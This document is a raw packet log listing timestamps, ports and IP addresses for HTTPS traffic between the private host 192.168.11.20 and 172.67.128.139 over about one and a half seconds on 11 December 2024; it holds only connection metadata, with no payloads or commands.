Dec 11, 2024 12:15:48.446669102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.446852922 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.448179960 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.448260069 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.448539019 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.448539019 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.448544979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.448715925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.449234009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.449300051 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.449392080 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.449574947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.449574947 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.449579954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.449764013 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.689809084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.689815044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.689878941 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.689974070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.690502882 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.690512896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.690712929 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.691984892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.692001104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.692145109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.692301989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.692301989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.692302942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.692302942 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.692310095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.692493916 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.693689108 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.693707943 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.693850040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.694031000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.694031000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.694031000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.694047928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.694226027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.695822954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.695839882 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.695986986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.695998907 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.696064949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.696064949 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.696074009 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.696136951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.696136951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.696322918 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.696322918 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.698441982 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.698461056 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.698715925 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.698781967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.698791027 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.698976040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.698976040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.940534115 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.940567970 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.940697908 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.940877914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.940887928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.941071987 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.942410946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.942444086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.942734003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.942734003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.942758083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.942923069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.942923069 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.944427967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.944463968 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.944596052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.944596052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.944777966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.944777966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.944777966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.944792986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.944967031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.946305990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.946338892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.946471930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.946471930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.946650028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.946650028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.946659088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.946841002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.946841002 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.948303938 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.948369980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.948465109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.948465109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.948645115 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.948645115 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.948648930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.949944973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.949963093 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.950108051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.950108051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.950115919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.950299978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.950299978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.951107979 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:48.951240063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.951240063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.951467037 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.996128082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:48.996138096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.043020964 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.188919067 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.188936949 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.188999891 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.189086914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.189086914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.189115047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.189264059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.189275980 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.189893961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.190993071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.191036940 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.191162109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.191344976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.191371918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.191534042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.192862034 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.192905903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.193062067 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.193063021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.193088055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.193242073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.193242073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.193242073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.194864035 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.194905996 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.195034981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.195034981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.195070028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.195070028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.195084095 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.195254087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.195451021 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.196928024 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.196970940 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.197278976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.197278976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.197278976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.197305918 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.197596073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.197695971 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.197894096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.197894096 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.197979927 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.197999954 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.200151920 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.200191975 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.200282097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.200304031 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.200330973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.200330973 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.200522900 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.200711012 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.201888084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.201967955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.202054977 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.202055931 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.202238083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.202420950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.202420950 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.202434063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.202610970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.447264910 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.447303057 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.447473049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.447473049 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.447504044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.447665930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.447844982 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.449174881 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.449212074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.449743986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.449743986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.449768066 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.449785948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.449970961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.451052904 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.451095104 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.451219082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.451404095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.451404095 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.451405048 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.451431036 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.451595068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.453068972 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.453109026 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.453255892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.453255892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.453255892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.453255892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.453285933 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.453438997 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.453439951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.455065966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.455113888 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.455219984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.455219984 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.455425978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.455441952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.455615044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.457328081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.457370043 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.457475901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.457475901 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.457524061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.457524061 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.457536936 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.457712889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.457712889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.459233999 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.459275007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.459392071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.459392071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.459392071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.459420919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.459573030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.459739923 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.459739923 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.461209059 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.461245060 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.461345911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.461395025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.461395025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.461414099 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.461580992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.461580992 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.461771965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.463341951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.463376999 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.463506937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.463506937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.463670969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.463670969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.463694096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.463857889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.463857889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.463969946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.464236975 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.685280085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.685297966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.685363054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.685643911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.685643911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.685643911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.685643911 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.685682058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.685909986 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.687211990 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.687253952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.687376976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.687376976 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.687561989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.687561989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.687587023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.687752008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.687752008 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.689259052 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.689311028 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.689588070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.689588070 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.689616919 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.689774990 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.689775944 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.689973116 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.691046000 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.691092014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.691610098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.691610098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.691610098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.691632986 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.691801071 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.691981077 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.693002939 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.693047047 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.693205118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.693205118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.693205118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.693236113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.693387985 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.693576097 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.695472002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.695513964 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.695822001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.695822001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.695822001 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.695848942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.696008921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.697284937 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.697318077 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.697490931 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.697490931 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.697643995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.697663069 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.697837114 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.698060036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.698060036 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.699217081 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.699251890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.699388027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.699388027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.699546099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.699546099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.699546099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.699569941 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.699738979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.701164961 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.701199055 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.701334953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.701334953 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.701512098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.701525927 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.701702118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.703773022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.703807116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.704144955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.704144955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.704166889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.704335928 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.704535007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.704639912 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.704909086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.704932928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.705151081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.933927059 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.933940887 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.934022903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.934098005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.934288025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.934305906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:49.934334040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.934334040 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:49.934525967 CET	49782	443	192.168.11.20	172.67.128.139
